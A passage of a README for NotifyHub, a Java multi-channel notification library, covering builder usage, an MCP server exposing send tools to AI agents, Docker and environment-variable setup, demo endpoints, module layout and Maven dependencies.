ttl: 24h
strategy: content-hash # content-hash | explicit-key | both
admin:
enabled: trueNotifyHub works without Spring — use the builder directly:
NotifyHub notify = NotifyHub.builder()
.templateEngine(new MustacheTemplateEngine())
.channel(new SmtpEmailChannel(
SmtpConfig.builder()
.host("smtp.gmail.com").port(587)
.username("[email protected]").password("app-password")
.from("[email protected]").tls(true)
.build()
))
.channel(new SlackChannel(
SlackConfig.builder()
.webhookUrl("https://hooks.slack.com/services/XXX/YYY/ZZZ")
.recipients(Map.of("engineering", "https://hooks.slack.com/services/AAA/BBB/CCC"))
.build()
))
.channel(new TeamsChannel(
TeamsConfig.builder()
.webhookUrl("https://outlook.office.com/webhook/XXX/YYY/ZZZ")
.build()
))
.channel(new WebhookChannel(
WebhookConfig.builder()
.name("pagerduty")
.url("https://events.pagerduty.com/v2/enqueue")
.payloadTemplate("{\"summary\":\"{{content}}\"}")
.build()
))
.channel(new WebSocketChannel(
WebSocketConfig.builder()
.uri("wss://echo.example.com/ws")
.messageFormat("{\"text\":\"{{content}}\"}")
.build()
))
.channel(new GoogleChatChannel(
GoogleChatConfig.builder()
.webhookUrl("https://chat.googleapis.com/v1/spaces/XXX/messages?key=YYY")
.build()
))
.deduplicationStore(new InMemoryDeduplicationStore(Duration.ofHours(24)))
.defaultRetryPolicy(RetryPolicy.exponential(3))
.rateLimiter(new TokenBucketRateLimiter(
RateLimitConfig.perMinute(100)))
.deadLetterQueue(new InMemoryDeadLetterQueue())
.tracker(new InMemoryNotificationTracker())
.circuitBreaker(CircuitBreakerConfig.defaults())
.bulkhead(BulkheadConfig.defaults())
.build();
// Sync
notify.to("[email protected]")
.via(Channel.EMAIL)
.subject("Hello!")
.content("Welcome to the app!")
.send();
// Async
notify.to("#general")
.via(Channel.SLACK)
.content("Deploy complete!")
.sendAsync();
// Tracked
DeliveryReceipt receipt = notify.to(user)
.via(Channel.EMAIL)
.content("Invoice attached")
.sendTracked();
// Scheduled
notify.to(user)
.via(Channel.EMAIL)
.content("Reminder!")
.schedule(Duration.ofMinutes(30));
// Batch
notify.toAll(List.of("[email protected]", "[email protected]"))
.via(Channel.EMAIL)
.template("announcement")
.send();Only notify-core + channel modules needed. No Spring dependency.
NotifyHub includes an MCP (Model Context Protocol) server that exposes all notification channels as tools for AI agents like Claude Desktop, Claude Code, Cursor, and any MCP-compatible client.
The notify-mcp module is a standalone Java application that communicates via STDIO using the JSON-RPC protocol. AI agents discover the available tools and can send notifications through any configured channel.
1. Build the MCP server:
mvn clean package -pl notify-mcp -am -DskipTests2. Configure in Claude Desktop (claude_desktop_config.json):
{
"mcpServers": {
"notify-hub": {
"command": "java",
"args": ["-jar", "path/to/notify-mcp-1.0.0.jar"],
"env": {
"NOTIFY_CHANNELS_EMAIL_HOST": "smtp.gmail.com",
"NOTIFY_CHANNELS_EMAIL_PORT": "587",
"NOTIFY_CHANNELS_EMAIL_USERNAME": "[email protected]",
"NOTIFY_CHANNELS_EMAIL_PASSWORD": "app-password",
"NOTIFY_CHANNELS_SLACK_WEBHOOK_URL": "https://hooks.slack.com/...",
"NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL": "https://discord.com/api/webhooks/..."
}
}
}
}Or for Claude Code (.mcp.json in project root):
{
"mcpServers": {
"notify-hub": {
"command": "java",
"args": ["-jar", "path/to/notify-mcp-1.0.0.jar"],
"env": {
"NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL": "https://discord.com/api/webhooks/..."
}
}
}
}| Tool | Description | Required Params |
|---|---|---|
send_notification | Send via any channel (generic) | channel, recipient, body or template |
send_email | Send email | to, body or template |
send_sms | Send SMS via Twilio | phone, body or template |
send_slack | Send to Slack channel | recipient, body or template |
send_telegram | Send via Telegram Bot | recipient, body or template |
send_discord | Send to Discord channel | recipient, body or template |
send_whatsapp | Send WhatsApp via Twilio | phone, body or template |
send_teams | Send to Microsoft Teams | recipient, body or template |
send_google_chat | Send to Google Chat | recipient, body or template |
send_push | Send push via Firebase | push_token, body |
send_twitter | Post a tweet on Twitter/X | body or template |
send_linkedin | Publish a post on LinkedIn | body or template |
send_notion | Create a page in Notion | recipient, body or template |
send_twitch | Send Twitch chat message + polls | recipient, body or template |
send_youtube | Send YouTube live chat message | recipient, body or template |
send_instagram | Send Instagram DM or feed post | recipient, body or template |
send_multi_channel | Send to multiple channels | channels[], recipient, body or template |
send_batch | Send to multiple recipients at once | recipients[], channel, body or template |
send_to_audience | Send to a named audience | audience, channel, body or template |
list_channels | List configured channels | _(none)_ |
list_delivery_receipts | Query delivery history | _(none)_ |
list_dead_letters | View failed notifications (DLQ) | _(none)_ |
create_contact | Create a contact with tags | name |
list_contacts | List contacts (filter by tag) | _(none)_ |
create_audience | Create audience with tag filters | name, tags[] |
list_audiences | List audiences with contact counts | _(none)_ |
get_analytics | Delivery stats by channel/status | _(none)_ |
send_tiktok_shop | Send TikTok Shop notification | recipient, body or template |
send_facebook | Send Facebook page post or Messenger DM | recipient, body or template |
check_email_status | Check SendGrid email delivery status | message_id |
schedule_notification | Schedule a notification for later delivery | channel, recipient, body, send_at |
list_scheduled_notifications | List all scheduled notifications | _(none)_ |
cancel_scheduled_notification | Cancel a pending scheduled notification | notification_id |
All send tools optionally accept: subject, template, params, priority.
Once configured, you can simply ask your AI agent:
"Send a Discord message to #alerts saying the deploy is complete"
The agent will call the send_discord tool with the appropriate parameters.
Run the MCP server without Java installed — only Docker required:
# Build
docker build -t notifyhub-mcp .
# Run with Discord
docker run -i --rm \
-e NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL="https://discord.com/api/webhooks/..." \
-e NOTIFY_CHANNELS_DISCORD_USERNAME="NotifyHub" \
gabrielbbal10/notifyhub-mcp
# Run with multiple Discord channels + Email
docker run -i --rm \
-e NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL="https://discord.com/api/webhooks/..." \
-e NOTIFY_CHANNELS_DISCORD_USERNAME="NotifyHub" \
-e NOTIFY_CHANNELS_DISCORD_RECIPIENTS_ALERTS="https://discord.com/api/webhooks/111/aaa" \
-e NOTIFY_CHANNELS_DISCORD_RECIPIENTS_DEVOPS="https://discord.com/api/webhooks/222/bbb" \
-e NOTIFY_CHANNELS_EMAIL_HOST="smtp.gmail.com" \
-e NOTIFY_CHANNELS_EMAIL_PORT="587" \
-e NOTIFY_CHANNELS_EMAIL_USERNAME="[email protected]" \
-e NOTIFY_CHANNELS_EMAIL_PASSWORD="app-password" \
-e NOTIFY_CHANNELS_EMAIL_FROM="[email protected]" \
gabrielbbal10/notifyhub-mcpConfigure in Claude Code (.mcp.json):
{
"mcpServers": {
"notify-hub": {
"command": "docker",
"args": ["run", "-i", "--rm",
"-e", "NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...",
"-e", "NOTIFY_CHANNELS_DISCORD_USERNAME=NotifyHub",
"-e", "NOTIFY_CHANNELS_DISCORD_RECIPIENTS_ALERTS=https://discord.com/api/webhooks/111/aaa",
"gabrielbbal10/notifyhub-mcp"
]
}
}
}Run a full REST API with Swagger UI — no Java required, just Docker:
docker run -d -p 8080:8080 \
-e [email protected] \
-e NOTIFY_CHANNELS_EMAIL_PASSWORD=your-app-password \
-e [email protected] \
gabrielbbal10/notifyhub-api:latestOpen http://localhost:8080/swagger-ui.html for interactive API docs.
Environment variables — same for both MCP and API images, add only the channels you need:
| Channel | Variable | Required | Example |
|---|---|---|---|
NOTIFY_CHANNELS_EMAIL_HOST | No (default: smtp.gmail.com) | smtp.gmail.com | |
NOTIFY_CHANNELS_EMAIL_PORT | No (default: 587) | 587 | |
NOTIFY_CHANNELS_EMAIL_USERNAME | Yes (for email) | [email protected] | |
NOTIFY_CHANNELS_EMAIL_PASSWORD | Yes (for email) | abcd efgh ijkl mnop (App Password) | |
NOTIFY_CHANNELS_EMAIL_FROM | Yes (for email) | [email protected] | |
| Discord | NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL | Yes (for discord) | https://discord.com/api/webhooks/... |
NOTIFY_CHANNELS_DISCORD_USERNAME | No | NotifyHub | |
NOTIFY_CHANNELS_DISCORD_AVATAR_URL | No | https://example.com/avatar.png | |
NOTIFY_CHANNELS_DISCORD_RECIPIENTS_<NAME> | No | Named alias webhook URL | |
| Slack | NOTIFY_CHANNELS_SLACK_WEBHOOK_URL | Yes (for slack) | https://hooks.slack.com/services/... |
NOTIFY_CHANNELS_SLACK_RECIPIENTS_<NAME> | No | Named alias webhook URL | |
| Telegram | NOTIFY_CHANNELS_TELEGRAM_BOT_TOKEN | Yes (for telegram) | 123456:ABC-DEF... |
NOTIFY_CHANNELS_TELEGRAM_CHAT_ID | Yes (for telegram) | 123456789 | |
NOTIFY_CHANNELS_TELEGRAM_RECIPIENTS_<NAME> | No | Named alias chat ID | |
| Google Chat | NOTIFY_CHANNELS_GOOGLE_CHAT_WEBHOOK_URL | Yes (for gchat) | https://chat.googleapis.com/v1/spaces/... |
NOTIFY_CHANNELS_GOOGLE_CHAT_RECIPIENTS_<NAME> | No | Named alias webhook URL | |
| Teams | NOTIFY_CHANNELS_TEAMS_WEBHOOK_URL | Yes (for teams) | https://outlook.office.com/webhook/... |
NOTIFY_CHANNELS_TEAMS_RECIPIENTS_<NAME> | No | Named alias webhook URL | |
| SMS | NOTIFY_CHANNELS_SMS_ACCOUNT_SID | Yes (for sms) | Twilio Account SID |
NOTIFY_CHANNELS_SMS_AUTH_TOKEN | Yes (for sms) | Twilio Auth Token | |
NOTIFY_CHANNELS_SMS_FROM_NUMBER | Yes (for sms) | +12025551234 | |
NOTIFY_CHANNELS_WHATSAPP_ACCOUNT_SID | Yes (for whatsapp) | Twilio Account SID | |
NOTIFY_CHANNELS_WHATSAPP_AUTH_TOKEN | Yes (for whatsapp) | Twilio Auth Token | |
NOTIFY_CHANNELS_WHATSAPP_FROM_NUMBER | Yes (for whatsapp) | +14155238886 |
Example with multiple channels:
docker run -d -p 8080:8080 \
-e [email protected] \
-e NOTIFY_CHANNELS_EMAIL_PASSWORD=your-app-password \
-e [email protected] \
-e NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL="https://discord.com/api/webhooks/..." \
-e NOTIFY_CHANNELS_DISCORD_USERNAME="NotifyHub" \
-e NOTIFY_CHANNELS_TELEGRAM_BOT_TOKEN="123456:ABC-DEF..." \
-e NOTIFY_CHANNELS_TELEGRAM_CHAT_ID="123456789" \
-e NOTIFY_CHANNELS_GOOGLE_CHAT_WEBHOOK_URL="https://chat.googleapis.com/v1/spaces/..." \
gabrielbbal10/notifyhub-api:latestUsage from any language:
# Send email
curl -X POST "http://localhost:8080/send/[email protected]&subject=Hello&body=Hi!"
# Send Discord
curl -X POST "http://localhost:8080/send/discord?message=Deploy done!"
# Send Telegram
curl -X POST "http://localhost:8080/send/telegram?chatId=123456789&message=Alert!"
# Send Google Chat
curl -X POST "http://localhost:8080/send/google-chat?message=Build passed!"Docker Hub: gabrielbbal10/notifyhub-api
The demo app showcases every feature with a built-in SMTP server — zero external config needed.
git clone https://github.com/GabrielBBaldez/notify-hub.git
cd notify-hub
mvn clean install -DskipTests
# Run the demo
mvn -pl notify-demo spring-boot:runThen open:
| Method | Endpoint | Description |
|---|---|---|
GET | / | Home — lists all endpoints |
POST | /send/email | Send a simple email |
POST | /send/template | Send email with Mustache template |
POST | /send/notifiable | Send to a Notifiable entity |
POST | /send/sms | Send SMS (requires Twilio) |
POST | /send/whatsapp | Send WhatsApp (requires Twilio) |
POST | /send/telegram | Send to Telegram via Bot |
POST | /send/discord | Send to Discord via Webhook |
POST | /send/slack | Send to Slack channel |
POST | /send/teams | Send to Microsoft Teams via Webhook |
POST | /send/google-chat | Send to Google Chat via Webhook |
POST | /send/push | Send push notification via Firebase |
POST | /send/websocket | Send message via WebSocket |
POST | /send/multi | Send to email + Slack simultaneously |
POST | /send/fallback | Test fallback (email fails -> Slack) |
POST | /send/tracked | Send with delivery tracking |
POST | /send/scheduled | Schedule notification for future |
GET | /tracking | Delivery tracking history |
GET | /notify-admin | Admin dashboard |
GET | /inbox | View captured emails |
DELETE | /inbox | Clear all inboxes |
notify-hub/
├── notify-core/ # Zero Spring dependency
│ ├── NotifyHub # Thin facade — delegates to executor/scheduler/eventbus
│ ├── NotificationExecutor # Channel resolution, send logic, fallback chains
│ ├── NotificationScheduler # Scheduling with delay/cancel/list
│ ├── NotificationBuilder # Fluent builder (send/async/tracked/scheduled)
│ ├── BatchNotificationBuilder # Batch send to multiple recipients
│ ├── Notification # Immutable notification object
│ ├── Channel / ChannelRef # Built-in + custom channel refs
│ ├── Priority # URGENT, HIGH, NORMAL, LOW
│ ├── Notifiable # Recipient interface (i18n + routing + quiet hours)
│ ├── NotificationChannel # Channel SPI (implement this!)
│ ├── QuietHours # Per-recipient quiet time windows
│ ├── pipeline/ # Resilience handler chain
│ │ ├── SendPipeline # Assembles: Dedup → RateLimit → CircuitBreaker → Template → Retry
│ │ ├── SendHandler # Handler chain interface
│ │ ├── SendContext # Per-send state (channel, builder, notification)
│ │ ├── DeduplicationHandler # Skip duplicates
│ │ ├── RateLimitHandler # Enforce per-channel limits
│ │ ├── CircuitBreakerHandler # Short-circuit failing channels
│ │ ├── TemplateHandler # Build + render notification
│ │ └── RetrySendHandler # Terminal: retry with backoff → DLQ
│ ├── resilience/ # Resilience primitives
│ │ ├── ChannelCircuitBreaker # Per-channel circuit breaker (sliding window)
│ │ ├── CircuitBreakerConfig # Thresholds + durations
│ │ ├── CircuitState # CLOSED, OPEN, HALF_OPEN
│ │ └── BulkheadConfig # Per-channel concurrency limits
│ ├── event/ # Unified event system
│ │ ├── NotificationEventBus # Publish events to listeners
│ │ ├── NotificationEvent # Immutable event record
│ │ ├── EventType # SENT, FAILED, RETRIED, RATE_LIMITED, DEDUPED, CIRCUIT_*
│ │ ├── NotificationEventListener # Listener interface
│ │ └── LegacyListenerAdapter # Bridge: old NotificationListener → EventBus
│ ├── orchestration/ # Multi-step notification workflows
│ │ ├── OrchestrationBuilder # first(EMAIL).ifNoOpen(24h).then(PUSH)
│ │ └── OrchestrationStep # Individual step record
│ ├── abtest/ # A/B testing
│ │ └── AbTestBuilder # Deterministic SHA-256 variant selection
│ ├── schedule/ # Cron support
│ │ └── CronExpression # Lightweight 5-field cron parser
│ ├── attachment/ # File attachments
│ │ └── Attachment # Email file attachments
│ ├── testing/ # Test utilities
│ │ ├── TestNotifyHub # Test wrapper with capturing channels
│ │ └── SentNotification # Captured notification record
│ ├── RateLimiter / TokenBucket # Rate limiting
│ ├── NotificationRouter / RoutingRule # Conditional routing
│ ├── MustacheTemplateEngine # Template engine (i18n-aware + versioning)
│ ├── DeduplicationStore # Dedup interface (in-memory impl)
│ └── RetryPolicy # Retry + backoff strategies
│
├── notify-channels/
│ ├── notify-email/ # SMTP email (Jakarta Mail + attachments)
│ ├── notify-sms/ # Twilio SMS + WhatsApp
│ ├── notify-slack/ # Slack webhooks (JDK HttpClient)
│ ├── notify-telegram/ # Telegram Bot API (JDK HttpClient)
│ ├── notify-discord/ # Discord webhooks (JDK HttpClient)
│ ├── notify-teams/ # Microsoft Teams webhooks (JDK HttpClient)
│ ├── notify-push-firebase/ # Firebase Cloud Messaging (FCM)
│ ├── notify-webhook/ # Generic webhook (configurable)
│ ├── notify-websocket/ # WebSocket (JDK java.net.http)
│ ├── notify-google-chat/ # Google Chat webhooks (JDK HttpClient)
│ ├── notify-twitch/ # Twitch chat + polls via Helix API (JDK HttpClient)
│ ├── notify-youtube/ # YouTube live chat via Data API v3 (JDK HttpClient)
│ ├── notify-instagram/ # Instagram DM + feed via Meta Graph API (JDK HttpClient)
│ ├── notify-sendgrid/ # SendGrid email with delivery tracking (JDK HttpClient)
│ ├── notify-tiktok-shop/ # TikTok Shop API (HMAC-SHA256, JDK HttpClient)
│ ├── notify-facebook/ # Facebook Graph API (Page + Messenger)
│ ├── notify-whatsapp/ # WhatsApp Cloud API (Meta Graph API, no Twilio)
│ ├── notify-aws-sns/ # AWS SNS (AWS SDK v2)
│ ├── notify-mailgun/ # Mailgun transactional email (JDK HttpClient)
│ ├── notify-pagerduty/ # PagerDuty Events API v2 (JDK HttpClient)
│ └── notify-kick/ # Kick Public API (JDK HttpClient)
│ └── notify-channel-template/ # Template/archetype for creating new channels
│
├── notify-tracker-jpa/ # JPA-backed delivery tracker
├── notify-audit-jpa/ # JPA-backed audit logging
│
├── notify-spring-boot-starter/ # Auto-config for Spring Boot
│ ├── NotifyAutoConfiguration # Auto-discovers all channels + event listeners
│ ├── MetricsEventListener # Micrometer metrics via EventBus
│ ├── TracingNotificationListener # OpenTelemetry tracing (Observation API)
│ ├── NotifyHubHealthIndicator # Actuator health (+ circuit breaker status)
│ ├── NotifyHubInfoContributor # Actuator info endpoint
│ ├── SpringEventNotificationListener # Spring ApplicationEvents
│ └── NotifyProperties # application.yml binding
│
├── notify-admin/ # Admin dashboard (Thymeleaf)
│ └── NotifyAdminController # /notify-admin/*
│
├── notify-mcp/ # MCP Server for AI agents
│ ├── NotifyMcpServer # Spring Boot headless main
│ ├── McpServerRunner # STDIO MCP server bootstrap
│ └── tools/ # 36 MCP tools (send, batch, audiences, DLQ, analytics)
│
├── notify-queue-rabbitmq/ # RabbitMQ integration
├── notify-queue-kafka/ # Kafka integration
│
└── notify-demo/ # Demo app (run it!)Every notification passes through a handler chain before hitting the channel:
Deduplication → Rate Limit → Circuit Breaker → Template Rendering → Retry + Send → DLQEach handler can short-circuit (e.g., dedup skips duplicates, circuit breaker rejects when open). The pipeline is fully optional — handlers are skipped when their dependency is null.
NotificationChannel, register as a Spring beanjava.net.http.HttpClientTemplateEngine interfacesendAsync() and sendAllAsync() with CompletableFutureNotificationEventBus replaces scattered listener calls, backward-compatible via LegacyListenerAdapterNotifyHub is published on Maven Central. No extra repositories needed.
Search on Maven Central: io.github.gabrielbbaldez
Below is every module, what it does, when you need it, and how to add it.
#### notify-spring-boot-starter — The Main Dependency
What it does: Auto-configures NotifyHub inside a Spring Boot application. Automatically discovers channel beans, wires retry policies, tracking, rate limiting, DLQ, Micrometer metrics, OpenTelemetry tracing, Actuator health checks, and Spring events. Includes notify-core and notify-email transitively.
When to use: You're building a Spring Boot app and want automatic setup. This is the only required dependency for most projects.
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-spring-boot-starter</artifactId>
<version>1.0.0</version>
</dependency>#### notify-core — Core API (No Spring)
What it does: Contains the entire fluent API (NotifyHub, NotificationBuilder, Channel, Notification, Priority, Attachment, RetryPolicy), plus interfaces for channels, templates, tracking, DLQ, rate limiting, and routing. Has zero Spring dependency — uses only SLF4J and Mustache.
When to use: You want to use NotifyHub in a plain Java project without Spring Boot, or you're building a library/framework on top of it.
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-core</artifactId>
<version>1.0.0</version>
</dependency>#### notify-email — SMTP Email Channel
What it does: Sends emails via any SMTP server (Gmail, Outlook, Amazon SES, Mailtrap, etc). Supports HTML and plain text, file attachments, TLS/SSL, and custom sender name. Uses Jakarta Mail internally.
When to use: You want to send email notifications. Already included by notify-spring-boot-starter.
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-email</artifactId>
<version>1.0.0</version>~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.